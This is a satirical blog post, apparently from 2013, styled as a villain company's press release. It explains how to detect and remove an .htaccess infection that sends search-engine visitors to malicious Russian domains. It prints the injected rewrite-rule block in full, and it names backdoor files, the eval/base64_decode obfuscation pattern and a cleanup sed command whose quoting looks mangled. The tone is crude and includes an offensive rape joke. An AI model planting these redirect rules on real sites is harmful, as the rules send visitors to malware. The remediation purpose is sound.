StrangleCorp.com

StrangleCorp Hacked by Special Education Thugs

Posted on 20. Jan, 2013 by Expletive Deleted in Press Releases

“Hack your ex-wife’s iPhone for $5.00″

High tech weapons researcher StrangleCorp was taken off-line by a cyber-attack originating in a special education facility in Russia. The purported hackers aged 7 and 9 were apparently bored by the mundane activities presented as “educational enrichment” and decided to take down StrangleCorp’s computers instead. The attack left most of the research and tax files federal investigators were searching for rendered to random 0′s and 1′s. StrangleCorp is still struggling to recover from this devastating event.

The breech apparently occurred in Mr. Strangle’s personal secure email account. ” First, I got this offer for free porn I couldn’t resist. Honest to God, I didn’t think ANYONE would think I was stupid enough to have ‘password’ as my network password. It’s pesky little bastards like this that give genuine villainy a bad name!”

From there things deteriorated rapidly. Unable to stop the relentless dismantling of a woefully inferior computer security system, StrangleCorp officials were helpless to do anything but watch their networks being prison raped. And lacking sufficient “in-house” talent, Dr. Gunter Chang was sent out to solicit mercenary programmers.

“I quickly determined most of the best programmers had no fixed addresses since they’ve been unemployed for years,” explained Chang. “I’d have to go undercover into the streets to root them out. For this, I quit showering for two weeks to mask the scent of my superior intellect.”

“It took several days, but I finally spotted a suitable candidate in a Greyhound bus station, singing to himself about being just a singer in a rock and roll band. And he didn’t even have an iPod. After quick negotiations, I gave him a laptop, a bottle of Jack and a little weed. Then I gave him a few hours to fix this 301 redirect. Below is his rambling, incoherent assessment of the situation.”

“A Transient in a Greyhound Bus Station Explains the 2014Reltime.ru/301 redirect”. Written by homeless man who smells of Old Spice and urine.

I don’t know anything about computers, OK? But, they tell me you think you have a 301 redirect in the .htaccess file to http://2014-reltimes.ru/tyorem?13? If a search user clicks on your link to the website in the Google search results and they are warned the website has been infected, you probably do. And there goes your traffic. A lot of the time, the first indication of being infected is seeing your traffic plummet (for reasons other than lame content, that is). Now that your site is in Google’s blacklist, you’ll need to request a malware review. Pissed off yet?

If this reminds you of the kirm-sky.ru attack from a couple of years ago, you need a hobby, but you’d be correct. Compromised sites redirect search engine traffic to malicious sites. The “rest” traffic is not affected, which helps hide the problem from webmasters who don’t really click on search results to open their own sites. So what does the .htaccess looks like? Hackers inject the following rewrite rules into .htaccess files:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*tellmewherethepornis.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*iamalittleteapot.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*reefermadness.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]

RewriteCond %{HTTP_REFERER} .*strangleCorp.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://networkdevision .ru/targetfile/index.php [R=301,L]

To hide these rules, the bastards usually inject several screens of blank lines before the malicious code forcing you to you scroll all the way down to find anything suspicious in the .htaccess files. They might even place this file above the site root.

Those RewriteCond lines check if a visitor came from one of those sites ( Google, Yahoo, Wikipedia, YouTube, Twitter, Flickr, PornBonanza etc) and redirects them (the last RewriteRule line) to a malicious site. URLs of the malicious sites change quite often, but they all follow this pattern: Numbnuts.ru/dir/index.php where Numbnuts.ru is some malicious damned domain that needs to be kicked in the nuts. As you can see with the “ru” extension in http://2014-reltimes.ru/tyorem?13, those assholes live in Russia. Sucuri could have told you that, but where’s the thrill in that?

The domains are registered in small batches but you can you can identify them by similar names because the architects of this scam are just that unimaginative. They change domain names of the malicious sites as well as the IP addresses of servers with the malicious content after people complain and network administrators disconnect their servers. But, they just move on to the next one and diversify their infection methods like a crack whore. Most times, the creation day of these domains is only mere days before you got the cyber-clap anyway.

Sometimes hosting providers try to temporarily shut down websites and redirect visitors to a page that usually tells you the site is temporarily unavailable. But, the redirect has a lower priority than the malicious redirect in .htaccess files. So, in spite of your best efforts, such disabled sites are still dangerous if people click on their links. The same way a dead snake can still kill you. If you delete the .htacecss file, it re-appears faster than someone you owe money. Then it breaks your permalinks like a bookie breaks knee caps. So you limp back in, re-save the permalinks and fix the problem…only to have new htaccess file being created immediately. You might also notice that your ftp server, although closed, is running from the task manager and you can’t shut it. Son-of-a-bitch!

What is this thing doing? First it harshes your buzz, then the .htaccess is modified to redirect users to some Russian site. Finally, a backdoor is created. It can be inside /js/conf.php and at /flops.php if it’s an osCommerce site. Try removing the file_manager.php from the admin directory. If it’s a WordPress hack find the file _cache.php and erase it (like maybe wp-content\upload\_cache.php). In some cases, the redirect code can be in any of your PHP files. In this case, search for the following keywords: eval, base64_decode.

Go to the WordPress install directory and look at any .php file since this crappy hack puts code right at the beginning of all the files with letters that go on and on …

They are a command, encoded to hide it. Base64_decode will decode the letters into the command (the redirect), and “eval” will run it. The easiest way I’ve heard of to fix this is by logging into your server, if you have shell access, changing to the wordpress directory, then running this command: find . -iname “*.php” -exec sed -i “s/^..php .\*\*. eval.base64_decode.\”aWYoZnVuY[^>]*>//” {} \;

This bit of code looks for all .php files in the current directory, searches them for the malicious code, then kicks its ass. It should not interfere with any other code…unless the code wants to be interfered with, that is, then it’s consensual.

If that’s too complex or you don’t have shell access, try erasing all the .htaccess files and replacing them with new empty ones. That MIGHT work. Also to prevent this try placing all your authentication files above the root directory so they cannot be accessed by browser. Otherwise visit any of the assorted help forums on the web addressing this issue (unless their traffic is being redirected, too). You are not alone and some of these people actually know stuff like here: http://25yearsofprogramming.com/blog/20070705.htm. As for me, I’m just a transient in a bus station wasting time. What in the hell are you listening to me for anyway? Now where’s that bottle of Jack?

Tags: 2014reltime.ru, 301 redirect, featured, hack attack, russia, wordpress hack